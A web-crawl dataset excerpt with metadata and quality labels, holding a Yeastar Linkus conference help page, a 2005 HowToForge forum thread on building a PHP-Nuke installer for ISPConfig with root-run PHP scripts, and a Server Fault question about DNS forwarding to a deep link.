"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
8,649,885,794,263,547,000 | How to create a conference?
Note: Conference feature is only supported on Linkus Mobile Client.
1. At the bottom navigation bar, tap Conference.
2. At the top-right corner, tap to create a conference.
3. In the Name field, set a name for the new conference.
4. Invite contacts to join the conference.
Note: Up to 8 contacts can be invited to the conference.
1. Tap to add conference members.
2. Select the checkboxes of the contacts who you want to invite to the conference.
3. On the pop-up window, select the number that will receive the conference invitation. If you select an external number, you can tap to decide the prefix which will be added in front of the phone number before calling out.
4. Click OK to confirm.
5. To delete a contact from the conference, tap , then tap at the top right corner of contact avatar.
5. Tap START CONFERENCE to start the conference immediately.After you end the conference, the conference will be saved in the Conference list. | {
"url": "https://help.yeastar.com/en/linkus_client/topic/create_a_conference_pc.html",
"source_domain": "help.yeastar.com",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "23561",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ZLRNCQ3YICO2KJVTSDGWPK3QVC3OCKA4",
"WARC-Concurrent-To": "<urn:uuid:dff3f04e-9372-4452-b995-22ae1f65046e>",
"WARC-Date": "2021-07-29T03:37:35Z",
"WARC-IP-Address": "47.254.69.56",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:BEYQ7KAS766EDM3SHHUSYAVQK5MWHXAG",
"WARC-Record-ID": "<urn:uuid:f4ada0cf-f9cf-4e1f-86fa-dbd5fc42e6de>",
"WARC-Target-URI": "https://help.yeastar.com/en/linkus_client/topic/create_a_conference_pc.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a1776ddd-92b3-4317-bc4f-fe9b0b5e790a>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-129.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
28,
29,
97,
148,
206,
265,
310,
371,
409,
496,
724,
752,
858
],
"line_end_idx": [
28,
29,
97,
148,
206,
265,
310,
371,
409,
496,
724,
752,
858,
1002
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1002,
"ccnet_original_nlines": 13,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3380952477455139,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.014285709708929062,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22857142984867096,
"rps_doc_frac_unique_words": 0.4882352948188782,
"rps_doc_mean_word_length": 4.470588207244873,
"rps_doc_num_sentences": 25,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.932377815246582,
"rps_doc_word_count": 170,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.1539473682641983,
"rps_doc_frac_chars_top_3gram": 0.02368420921266079,
"rps_doc_frac_chars_top_4gram": 0.05000000074505806,
"rps_doc_books_importance": -72.01921844482422,
"rps_doc_books_importance_length_correction": -72.01921844482422,
"rps_doc_openwebtext_importance": -38.994117736816406,
"rps_doc_openwebtext_importance_length_correction": -24.961214065551758,
"rps_doc_wikipedia_importance": -27.942474365234375,
"rps_doc_wikipedia_importance_length_correction": -27.942474365234375
},
"fasttext": {
"dclm": 0.29162710905075073,
"english": 0.8662557005882263,
"fineweb_edu_approx": 0.9731258153915405,
"eai_general_math": 0.35080164670944214,
"eai_open_web_math": 0.06532294303178787,
"eai_web_code": 0.0039547099731862545
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.656",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.40285",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-4,128,460,247,703,372,300 | PHP-Nuke and other installers
Discussion in 'Developers' Forum' started by danf.1979, Dec 23, 2005.
1. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
I'm developing a PHP-nuke installer in the "Tools" section. I think most installers would be very similar.
If I have a client that owns more than one web, I need a way to "know" in which site he wants to install php-nuke. From what variable can I get this info?
Also I need the user and pass to write in the database. How can I get this values? What scripts should I read?
Thanks
2. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
What I really need right now is to save the username of the user who executes the tool in $username. How can I accomplish this?
3. till
till Super Moderator Howtoforge Staff HowtoForge Supporter ISPConfig Developer
I dont that it will work this way, because if you know the username you cannot know in which website phpnuke should be installed. Every user can have an unlimited number of websites in ISPConfig.
You will have to let the user select in which website phpnuke shall be installed. Have a look at the backup tool, this tool shows a list of all sites the user is allowd to backup and the list to delect the phpnuke destination may be similar. Dont forget that you have also an admin and resellers and they might have to install packages for their clients too, but how to get the available sites for a user / admin / reseller this is all handled in the code for the site backups and you can copy it from there.
No, dont write your own database functions. ISPCOnfig uses an database wrapper, if you use native mysql functions your extension might be incompatible to future ISPConfig releases. The database wrapper is in the class /home/admispconfig/ispconfig/lib/classes/ispconfig_mysql.lib.php (or similar name in this directory, dont have the sources here currently).
The database wrapper is already initialized if you have included the two main includes as shown in the other tools. You can call the query function e.g. by: $go_api->db->query("Here comes your SQL");
I recommend having a look at the other tools, they show you how to use the db wrapper for querys and inserts.
Last edited: Dec 24, 2005
4. till
till Super Moderator Howtoforge Staff HowtoForge Supporter ISPConfig Developer
You can get the username from the $go_info array. Just insert print_r($go_info); in your code and you get a list of all variables available in the session.
5. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
OK, I love you. I'm making progress, and getting more used to the api.
6. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
I'm having problems creating the folders with the right permissions. The owner and group is admispconfig, I need it to be user:web[id].
This doesnt seem to work:
Code:
exec("chown $username:web1 $php_nuke_path");
Dont know why. From a console it works OK, but from the php script dont. Does this have something to do with a php feature? (i.e. security?)
How can I get to create the folder with the right permissions? I dont seem able to find the piece of code that generates de /var/www/web[ID] folder when creating a new customer. I think this code could help me. Not sure though.
I'm creating the phpnuke install folder with:
Code:
exec("mkdir $php_nuke_path");
Is this aproach the correct one?
Maybe thereis another way with the ispconfig api. Dont know for sure. I'm just starting to get used to the api.
7. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Ok, progress, but still no gold.
I'm using now:
Code:
chown($php_nuke_path, $username);
But, i get this:
Code:
Warning: chown() [function.chown]: Operation not permitted in /home/admispconfig/ispconfig/web/tools/tools/test/install.php on line 66
Command was:
Code:
chown user:web1 /var/www/web1/web/bbb
Change "user" with my real user (it exists).
When I created the web directory "bbb" with mkdir, the owner and group was admispconfig. I dont seem capable o changing that, at least no from a php script.
May be I could do so with a Python script.
Last edited: Dec 25, 2005
8. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Ok, I had posted something in here, but I'll just wait for help on the last matter because I' learned already about the "->" thingy.
Last edited: Dec 25, 2005
9. falko
falko Super Moderator Howtoforge Staff Moderator HowtoForge Supporter ISPConfig Developer
This code is in /root/ispconfig/scripts/lib/config.lib.php. This script is run as root so you shouldn't have permission problems if you put your code in there.
10. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Ok, so i put my function in /root/ispconfig/scripts/lib/config.lib.php, inside class isp_web right? but then how do I call the function from my tool?
Thank you.
11. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Will I have to "include" it in my tool?
Code:
include("/root/ispconfig/scripts/lib/config.lib.php");
Or there is another way in the api to do this?
Last edited: Dec 26, 2005
12. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Ok, OK. I have been progressing a lot in the php-nuke installer.
Here you have a screenshot:
[IMG]
What the script does till now, is:
Create directories and copy the all necessary files to run php-nuke in any given web. Admin, a reseller or a client can use it.
I have a problem though...
This is how my config.lib.php looks right now:
Code:
# php-nuke install function
function make_install_phpnuke($web_id, $username, $path_to_create) {
$web_id = intval($web_id);
exec("mkdir $path_to_create");
system("cp -R /var/www/installers/php-nuke/html/* $path_to_create");
system("chown -R $username:web$web_id $path_to_create");
}
class isp_web
{
var $FILE = "/root/ispconfig/scripts/lib/config.lib.php";
var $directory_mode = "0755";
var $web_doctype_id = 1013;
var $user_doctype_id = 1014;
.
.
.
etc
I have included config.lib.php in /home/admispconfig/.../tools/test2/install.php that process the form (the picture)
install.php runs fine, but I think that when included in install.php the function make_install_phpnuke() does not run with root priviledges, so the code
Code:
system("chown -R $username:web$web_id $path_to_create");
does not work. Am I right about this?
Then, I know that when you create an email user that will be the administrator, the directory permissions are changed, and you told me (falko) that only config.lib.php runned with root priviledges, so I guess the code is that changed permissions is in there. I cant find it though.
Can you help me with this?
I'm almost there... almost. And good news is that developing new installers will be very similar.
Thank you.
Last edited: Dec 26, 2005
13. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Uhm, I was looking at write.conf. I think it's structure does what I want. I found a code that teached me I had to put my function inside the class isp_web() and then make a new instance of the class in tools/test2/install.php and then call my function as a method of that class (am I right?).
Now my make_install_phpnuke() function is inside class isp_web()
Code:
class isp_web
{
var $FILE = "/root/ispconfig/scripts/lib/config.lib.php";
var $directory_mode = "0755";
var $web_doctype_id = 1013;
var $user_doctype_id = 1014;
var $domain_doctype_id = 1015;
var $dns_doctype_id = 1016;
var $a_record_doctype_id = 1018;
var $cname_record_doctype_id = 1019;
var $mx_record_doctype_id = 1020;
var $dienste_doctype_id = 1023;
var $monitor_doctype_id = 1024;
var $firewall_doctype_id = 1025;
var $slave_doctype_id = 1028;
var $datenbank_doctype_id = 1029;
var $spf_record_doctype_id = 1031;
var $vhost_conf;
var $ftp_conf;
var $apache_user;
function make_install_phpnuke($web_id, $username, $path_to_create) {
$web_id = intval($web_id);
print_r(" $web_id ");
exec("mkdir $path_to_create");
system("cp -R /var/www/installers/php-nuke/html/* $path_to_create");
print_r("chown -R $username:web$web_id $path_to_create");
system("chown -R $username:web$web_id $path_to_create");
// chown($path_to_create, $username);
// chgrp ($path_to_create, $web_id);
}
//Constructor
function isp_web() {
global $mod;
.
.
etc
My install.php has (only important code to my problem is seen)
Code:
include_once("/root/ispconfig/scripts/lib/config.lib.php");
.
.
foreach($webs as $web_id => $val) {
$query = "SELECT * from isp_nodes, sys_user where isp_nodes.doc_id = '$web_id' and isp_nodes.doctype_id = 1013 and sys_user.doc_id = isp_nodes.userid";
$get_web = $go_api->db->queryOneRecord($query);
$username = $get_web["username"];
print_r(" $username ");
$path_to_create = $httpd_root ."/web".$web_id."/web/".$install_path;
print_r(" $path_to_create ");
// NEW, call instance an method of the class (my function)
$isp_web = new isp_web;
$isp_web->make_install_phpnuke($web_id, $username, $path_to_create);
// END NEW
// if ($val==1) make_install_phpnuke($web_id, $username, $path_to_create);
}
But I execute a test a I get this:
Code:
Fatal error: Call to a member function find_includes() on a non-object in /root/ispconfig/scripts/lib/config.lib.php on line 1772
This is line 1772 (last one):
Code:
function apache_user(){
global $mod;
$httpd_conf = $mod->system->server_conf["dist_httpd_conf"];
$includes = $mod->file->find_includes($httpd_conf);
.
.
etc
Why? How do I fix this? I think this is the solution, but dont know why this error occurs...
Thanks, and sorry for the several post, but I make progress from post to post, so new problems arise, and some get fixed.
Last edited: Dec 26, 2005
14. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
I commented the line
// $this->apache_user = $this->apache_user();
in function isp_web() in class isp_web, file config.lib.php, and now it gives me no error, but no permission changes either! :eek:
Code:
//Constructor
function isp_web() {
global $mod;
$this->vhost_conf = $mod->system->server_conf["server_path_httpd_conf"]."/".'vhosts'."/".'Vhosts_ispconfig.conf';
if($mod->system->server_conf["server_ftp_typ"] == "proftpd"){
$this->ftp_conf = "/etc/proftpd_ispconfig.conf";
} else {
$this->ftp_conf = "";
}
// $this->apache_user = $this->apache_user();
}
15. falko
falko Super Moderator Howtoforge Staff Moderator HowtoForge Supporter ISPConfig Developer
You must not include /root/ispconfig/scripts/lib/config.lib.php in your install.php because then ti will not run with root privileges.
/root/ispconfig/scripts/lib/config.lib.php is called by /root/ispconfig/writeconf.php which itself is called by the /root/ispconfig/sv/ispconfig_wconf daemon which runs as root. This /root/ispconfig/sv/ispconfig_wconf daemon checks every 10 seconds if a file /home/admispconfig/ispconfig/.run exists; if it does, it calls the writeconf.php script.
So you have to modify /root/ispconfig/scripts/lib/config.lib.php and/or /root/ispconfig/scripts/writeconf.php, and whenever your install script is called, it should create /home/admispconfig/ispconfig/.run (add
PHP:
touch /home/admispconfig/ispconfig/.run;
to your PHP code) so that writeconf.php is called.
16. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
uhm, I have a very big doubt. If I cant include config.lib.php, then how can I access my function in the class isp_web?
Is there some "api" way that I'm not aware of?
Thank you for your time.
17. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Do you mean I have to put my function inside config.lib.php isp_web class and then put de touch .run in that code so the deamon knows it has to run my function inside config.lib.php as root? Ok, this is what I understood from your explanation, but I dont know how to call my function from config.lib.php, since I cannot include it. I can't figure out the method to do it.
I'm really sorry if I'm being to newbie in this, but my experience is limited (I have only modified phpnuke scripts, but I know google and I dont want to give up). I think I need some guidance on this.
Thank you all.
18. falko
falko Super Moderator Howtoforge Staff Moderator HowtoForge Supporter ISPConfig Developer
Yes.
You can call your function from /root/ispconfig/scripts/writeconf.php or from any other function in the config.lib.php that you know of that it gets executed.
19. till
till Super Moderator Howtoforge Staff HowtoForge Supporter ISPConfig Developer
Maybe some general informations on the structure of ISPConfig will help you to get things clearer. ISPConfig consistsn of 2 parts.
1) The web interface. All files for the webinterface are in the directories /home/admispconfig/ispconfig/ and above. The scripts in the webinterface run as user admispconfig. his user has limited rights and it is not allowed to change files etc.
2) The other part are the scripts in /root/ispconfig. These where executed as root user. They where executed when the run file is set "touch /home/admispconfig/ispconfig/.run".
20. danf.1979
danf.1979 ISPConfig Developer ISPConfig Developer
Ok! It worked! (but I have a new problem)
I did put my function on config.lib.php inside isp_web class
this is the function:
Code:
function make_install_phpnuke($web_id, $username, $path_to_create) {
$web_id = intval($web_id);
exec("mkdir $path_to_create");
system("cp -R /var/www/installers/php-nuke/html/* $path_to_create");
system("chown -R $username:web$web_id $path_to_create");
}
writeconf.php has now:
Code:
$isp_web = new isp_web;
$web_id = "8";
$username = "mundohosting";
$path_to_create = "/var/www/web8/web/phpnuke";
$isp_web->make_install_phpnuke($web_id, $username, $path_to_create);
And my install.php has the touch .run file.
Everything works as espected, BUT, as you have noticed, in writeconf.php I have defined all the functions variables...
Code:
$web_id = "8";
$username = "mundohosting";
$path_to_create = "/var/www/web8/web/phpnuke";
Because I dont know how to pass those values from install.php to writeconf.php... I cant think in a simple way to do this, but is there any? Maybe I should create a plain text file with the install data and read it from writeconf.php IF there is another touched file? like for example /home/admispconfig/.install
Is there any other way?
thank you!!
Share This Page | {
"url": "https://www.howtoforge.com/community/threads/php-nuke-and-other-installers.1810/",
"source_domain": "www.howtoforge.com",
"snapshot_id": "crawl=CC-MAIN-2015-18",
"warc_metadata": {
"Content-Length": "93033",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CUF6UDCDT2FTQO6AI2A7MEJUMVVMSOON",
"WARC-Concurrent-To": "<urn:uuid:6f2a83fc-42f9-4b70-9f13-6e2c53cc0daf>",
"WARC-Date": "2015-05-05T00:21:02Z",
"WARC-IP-Address": "188.40.16.205",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:UUAJOLND4L6RJGX6QUHLX7SI23KRDIXA",
"WARC-Record-ID": "<urn:uuid:6e0be60d-8453-45dd-a30c-9c294e33aa27>",
"WARC-Target-URI": "https://www.howtoforge.com/community/threads/php-nuke-and-other-installers.1810/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5a8337f7-3384-4f2b-b64e-869d59f48f1b>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-10-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-18\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for April 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
30,
31,
101,
102,
117,
118,
172,
173,
284,
443,
558,
569,
575,
590,
591,
645,
646,
778,
784,
794,
795,
878,
879,
1079,
1080,
1593,
1594,
1956,
1957,
2161,
2162,
2276,
2282,
2312,
2322,
2323,
2406,
2407,
2567,
2573,
2588,
2589,
2643,
2644,
2719,
2725,
2740,
2741,
2795,
2796,
2936,
2966,
2976,
3025,
3030,
3175,
3407,
3457,
3467,
3501,
3506,
3543,
3659,
3665,
3680,
3681,
3735,
3736,
3773,
3792,
3802,
3840,
3845,
3866,
3876,
4015,
4020,
4037,
4047,
4089,
4094,
4143,
4304,
4351,
4357,
4387,
4402,
4403,
4457,
4458,
4595,
4601,
4631,
4642,
4643,
4737,
4738,
4902,
4908,
4924,
4925,
4979,
4980,
5134,
5149,
5155,
5171,
5172,
5226,
5227,
5271,
5281,
5340,
5345,
5396,
5402,
5432,
5448,
5449,
5503,
5504,
5573,
5605,
5616,
5655,
5787,
5818,
5869,
5879,
5911,
5984,
5996,
6029,
6065,
6139,
6201,
6207,
6212,
6230,
6236,
6241,
6303,
6337,
6369,
6402,
6408,
6414,
6420,
6428,
6433,
6554,
6711,
6721,
6783,
6788,
6830,
6831,
7117,
7148,
7250,
7265,
7271,
7301,
7317,
7318,
7372,
7373,
7671,
7672,
7741,
7751,
7769,
7775,
7780,
7842,
7876,
7908,
7941,
7976,
8008,
8045,
8086,
8124,
8160,
8196,
8233,
8267,
8305,
8344,
8365,
8384,
8406,
8411,
8484,
8496,
8529,
8556,
8592,
8666,
8729,
8791,
8796,
8839,
8881,
8886,
8892,
8897,
8915,
8940,
8959,
8965,
8971,
8979,
8984,
9051,
9061,
9125,
9131,
9137,
9177,
9182,
9339,
9399,
9405,
9444,
9473,
9478,
9552,
9587,
9592,
9656,
9692,
9766,
9789,
9794,
9881,
9886,
9892,
9897,
9936,
9946,
10080,
10085,
10119,
10129,
10157,
10176,
10242,
10300,
10306,
10312,
10320,
10325,
10422,
10548,
10554,
10584,
10600,
10601,
10655,
10656,
10681,
10731,
10866,
10876,
10894,
10919,
10938,
10943,
11063,
11131,
11188,
11203,
11233,
11241,
11293,
11299,
11304,
11310,
11322,
11323,
11417,
11418,
11557,
11558,
11910,
11911,
12126,
12135,
12180,
12235,
12241,
12257,
12258,
12312,
12313,
12437,
12488,
12517,
12523,
12539,
12540,
12594,
12595,
12971,
13177,
13196,
13202,
13214,
13215,
13309,
13310,
13319,
13320,
13483,
13489,
13500,
13501,
13584,
13585,
13720,
13721,
13971,
13972,
14153,
14159,
14175,
14176,
14230,
14231,
14277,
14342,
14368,
14378,
14451,
14456,
14489,
14525,
14599,
14661,
14667,
14672,
14699,
14709,
14737,
14742,
14761,
14793,
14844,
14918,
14923,
14971,
15094,
15104,
15123,
15155,
15206,
15211,
15528,
15556,
15572,
15578,
15579
],
"line_end_idx": [
30,
31,
101,
102,
117,
118,
172,
173,
284,
443,
558,
569,
575,
590,
591,
645,
646,
778,
784,
794,
795,
878,
879,
1079,
1080,
1593,
1594,
1956,
1957,
2161,
2162,
2276,
2282,
2312,
2322,
2323,
2406,
2407,
2567,
2573,
2588,
2589,
2643,
2644,
2719,
2725,
2740,
2741,
2795,
2796,
2936,
2966,
2976,
3025,
3030,
3175,
3407,
3457,
3467,
3501,
3506,
3543,
3659,
3665,
3680,
3681,
3735,
3736,
3773,
3792,
3802,
3840,
3845,
3866,
3876,
4015,
4020,
4037,
4047,
4089,
4094,
4143,
4304,
4351,
4357,
4387,
4402,
4403,
4457,
4458,
4595,
4601,
4631,
4642,
4643,
4737,
4738,
4902,
4908,
4924,
4925,
4979,
4980,
5134,
5149,
5155,
5171,
5172,
5226,
5227,
5271,
5281,
5340,
5345,
5396,
5402,
5432,
5448,
5449,
5503,
5504,
5573,
5605,
5616,
5655,
5787,
5818,
5869,
5879,
5911,
5984,
5996,
6029,
6065,
6139,
6201,
6207,
6212,
6230,
6236,
6241,
6303,
6337,
6369,
6402,
6408,
6414,
6420,
6428,
6433,
6554,
6711,
6721,
6783,
6788,
6830,
6831,
7117,
7148,
7250,
7265,
7271,
7301,
7317,
7318,
7372,
7373,
7671,
7672,
7741,
7751,
7769,
7775,
7780,
7842,
7876,
7908,
7941,
7976,
8008,
8045,
8086,
8124,
8160,
8196,
8233,
8267,
8305,
8344,
8365,
8384,
8406,
8411,
8484,
8496,
8529,
8556,
8592,
8666,
8729,
8791,
8796,
8839,
8881,
8886,
8892,
8897,
8915,
8940,
8959,
8965,
8971,
8979,
8984,
9051,
9061,
9125,
9131,
9137,
9177,
9182,
9339,
9399,
9405,
9444,
9473,
9478,
9552,
9587,
9592,
9656,
9692,
9766,
9789,
9794,
9881,
9886,
9892,
9897,
9936,
9946,
10080,
10085,
10119,
10129,
10157,
10176,
10242,
10300,
10306,
10312,
10320,
10325,
10422,
10548,
10554,
10584,
10600,
10601,
10655,
10656,
10681,
10731,
10866,
10876,
10894,
10919,
10938,
10943,
11063,
11131,
11188,
11203,
11233,
11241,
11293,
11299,
11304,
11310,
11322,
11323,
11417,
11418,
11557,
11558,
11910,
11911,
12126,
12135,
12180,
12235,
12241,
12257,
12258,
12312,
12313,
12437,
12488,
12517,
12523,
12539,
12540,
12594,
12595,
12971,
13177,
13196,
13202,
13214,
13215,
13309,
13310,
13319,
13320,
13483,
13489,
13500,
13501,
13584,
13585,
13720,
13721,
13971,
13972,
14153,
14159,
14175,
14176,
14230,
14231,
14277,
14342,
14368,
14378,
14451,
14456,
14489,
14525,
14599,
14661,
14667,
14672,
14699,
14709,
14737,
14742,
14761,
14793,
14844,
14918,
14923,
14971,
15094,
15104,
15123,
15155,
15206,
15211,
15528,
15556,
15572,
15578,
15579,
15594
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 15594,
"ccnet_original_nlines": 363,
"rps_doc_curly_bracket": 0.001154290046542883,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2595467269420624,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03073580004274845,
"rps_doc_frac_lines_end_with_ellipsis": 0.008241759613156319,
"rps_doc_frac_no_alph_words": 0.3213287889957428,
"rps_doc_frac_unique_words": 0.2761613130569458,
"rps_doc_mean_word_length": 5.492598056793213,
"rps_doc_num_sentences": 247,
"rps_doc_symbol_to_word_ratio": 0.002173240063712001,
"rps_doc_unigram_entropy": 5.506131649017334,
"rps_doc_word_count": 1959,
"rps_doc_frac_chars_dupe_10grams": 0.09786245226860046,
"rps_doc_frac_chars_dupe_5grams": 0.2184014916419983,
"rps_doc_frac_chars_dupe_6grams": 0.19135688245296478,
"rps_doc_frac_chars_dupe_7grams": 0.14860594272613525,
"rps_doc_frac_chars_dupe_8grams": 0.1184944212436676,
"rps_doc_frac_chars_dupe_9grams": 0.09786245226860046,
"rps_doc_frac_chars_top_2gram": 0.056877318769693375,
"rps_doc_frac_chars_top_3gram": 0.03252787888050079,
"rps_doc_frac_chars_top_4gram": 0.04423791915178299,
"rps_doc_books_importance": -1595.123291015625,
"rps_doc_books_importance_length_correction": -1595.123291015625,
"rps_doc_openwebtext_importance": -843.5902709960938,
"rps_doc_openwebtext_importance_length_correction": -843.5902709960938,
"rps_doc_wikipedia_importance": -640.6744384765625,
"rps_doc_wikipedia_importance_length_correction": -640.6744384765625
},
"fasttext": {
"dclm": 0.095966637134552,
"english": 0.8148559331893921,
"fineweb_edu_approx": 1.5920131206512451,
"eai_general_math": 0.6349754929542542,
"eai_open_web_math": 0.3054998517036438,
"eai_web_code": 0.4301018714904785
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,566,346,472,134,241,000 | Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.
Sign up
Here's how it works:
1. Anybody can ask a question
2. Anybody can answer
3. The best answers are voted up and rise to the top
I have an ASP.NET app. The main page is at www.MyDomain.com/Internal/MainPage.aspx
Management asked for a shorter, more easily remembered URL.
I purchased www.short.com.
I set up domain forwarding with masking so that:
www.short.com = www.MyDomain.com/Internal/MainPage.aspx
SO...when we type www.short.com, we DO get the login page (since ASP.NET needs to automatically authenticate).
BUT...after the user enters username and password in Internet Explorer, they go nowhere.
The form is just cleared, and they stay on the login page.
Can we really do this with the DNS record?
Or must we host a new website and do a redirect from the default page of www.short.com?
Thanks!
share|improve this question
up vote 0 down vote accepted
No, you can not. DNS 101. You can map www.short.com to an IP which has a web server that reads the URL, then does a HTTP Redirect to your real url. This is how short url services work. But you can not use DNS to magically have the browser redirect to a path in a domain.
share|improve this answer
Thanks. Will go this route. – Minneapolis Mar 12 '11 at 1:49
I suspect that what you want is a reverse-proxy so that all requests for www.short.com/some/path.aspx get forwarded by the proxy to www.mydomain.com/Internal/some/path.aspx (but not a redirect). I don't know how to do that for IIS (which I assume you're using) but I expect that someone else does.
share|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://serverfault.com/questions/246301/how-to-dns-forward-to-deep-link-asp-net-site",
"source_domain": "serverfault.com",
"snapshot_id": "crawl=CC-MAIN-2016-26",
"warc_metadata": {
"Content-Length": "73777",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5VIKJOVYOSMYHQ3HRPOBHCQ5262VJ7KF",
